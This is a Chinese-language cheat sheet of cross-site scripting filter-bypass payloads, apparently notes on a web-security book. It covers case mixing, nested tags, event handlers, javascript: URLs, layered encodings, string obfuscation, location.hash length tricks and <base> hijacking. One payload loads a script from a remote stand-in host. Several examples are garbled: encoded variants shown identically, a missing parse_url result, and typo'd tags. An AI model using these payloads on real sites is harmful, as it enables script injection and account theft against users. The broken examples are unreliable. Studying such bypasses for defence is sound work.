(1)大小写绕过
<ScRiPt>alert(document.domain)</ScRiPt>
<ScRiPt SrC=”//example.site/example.js”></ScRiPt>
(2)绕过<script>标签检测
对于只检测并过滤<script>标签特征,主要通过填充空白字符(空格、制表符、换行)来绕过

有的函数会将<script>标签直接删除,直接在原有的<script>标签中进行双写即可。
<scr<script>ipt>alert(document.domain)</script>
当经过处理后,会变成一个有效payload
<script>alert(document.domain)<.script>
(3)事件处理程序
<img>标签的onerror事件:
<img src=1 onerror=”alert(document.domain);”>
原理:如果不存在名为1的文件名,就会触发onerror事件的代码。
类似的事件还有很多,例如onload、onmouseouve、onfocus等
<object onerror=alert(document.domain)>
<input onfocus=alert(document.domain)>
<video src=0 onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
(4)JavaScript伪协议
浏览器可以接收内联的JavaScript代码作为URL,所以在需要指定URL的标签属性中,可以尝试构造一个JavaScript伪协议的URL来执行JavaScript代码,例如(不同浏览器有差异,以下的payload不一定适用于所有浏览器)
<a href=javascript:alert()>Click Me</a>
<iframe src=javascript:alert()></iframe>
<form action=javascript:alert()>
<object data=javascript:alert()>
<button formaction=javascript:alert()>Click Me</button>
有一些安全功能会过滤JavaScript伪协议,可以尝试在关键词中插入空白字符绕过检测。
<a href=”java
script	:alert(document.domain)”>click me</a>
当Web应用值校验URL的host时,可使用下面这种方式绕过检测,实现XSS攻击
在校验URL合法性时,只校验host是否为合法域名,没有校验协议,这种场景也可以绕过校验。
javascript://example.com/%0d%aalert()
//example.com会被当作JavaScript代码的单行注释,在PHP中对这个URL使用parse_url来解析,将得到如下的结果:

(5)编码绕过
网页的不同位置支持不同的编码方式,在HTML标签的属性中,可以使用HTML实体编码的字符。浏览器也可以兼容不标准的编码方式,如缺少分号的数字实体编码。
这几个payload的效果是完全一样的:
<img src=x onerror=”alert()”>
<img src=x onerror=”alert(1)”>
<img src=x onerror=”alert(1)″>
<img src=x onerror=”alert(1)″>
为了使可读性更好,在HTML中对很多字符可以使用命名实体编码,如果安全过滤功能不支持实体解码,或者只实现了部分字符的解码,则安全过滤功能有可能被绕过。
HTML5中新增的实体编码
<a href=”javascript
pt:alert(document.domain&rapar;”>click me</a>
如果服务端过滤了JavaScript代码特征,可以将关键的代码用Unicode编码,以此绕过检测。如:
<script>\u0061lert()</script>
把Payload放在HTML标签中,还可以将Unicode编码和HTML实体编码叠加使用如:
<img src=0 onerror=”\u0061lert()”>
如果Payload是通过JavaScript伪协议的URL插入的,然后又将它用在HTML标签中,这时对原始的JavaScript代码就可以先做Unicode编码,再做URL编码,然后做HTML实体编码。
下面4个Payload的效果是一样的
<a href=”javascript:alert(document.domain)”>click me</a>
<a href=”javascript:\u0061lert(document.domain)”>click me</a>
<a href=”javascript:%5cu0061lert(document.domain)”>click me</a>
<a href=”javascript:%5cu0061lert(document.domain)”>click me</a>
一些不太完善的防御方案,是通过过滤不安全的函数名,或者检测可以的字符串来做攻击检测的。在JavaScript中,可以通过动态构造字符串或者使用八进制编码,来绕过静态特征过滤:
<script>eval(‘al’+’ert()’);</script>
<script>window[‘al’+’ert’]();</script>
<sciprt>window[String.fromCharCode(97, 108, 101, 114, 116)]();</script>
<script>window[atob(“YWxlcnQ=”)]();</script>
<script>top[‘al’+’ert’]();</script>
<script>top[‘\141\154\145\162\164’]();</script>
(6)绕过长度限制
主要利用“location.hash”,根据HTTP协议,location.hash的内容不会在HTTP请求中发送,所以服务端的Web日志并不会记录location.hash里的内容,从而隐藏了攻击者的真实意图。
?var=” onclick=”eval(location.hash.substr())
总共是40字节,输出后的HTML为:
<input value=”” onclick=”eval(location.hash.substr()”)/>
因为location.hash的第一个字符是”#“,所以必须删除第一个字符,此时构造的XSS为:
http://example.com/test.php?var=”
onclick=”eval(location.hash.substr())#alert()
(7)<base>标签
<base>标签主要作用是定义页面上的所有使用“相对路径”标签的host地址。
如果攻击者在页面中插入了<base>标签,就可以在远程服务器上伪造图片、链接或者脚本,劫持当前页面中的所有使用“相对路径的标签”。
(8)window.name,知道有这个方法就行
参考书籍:《白帽子讲Web安全》
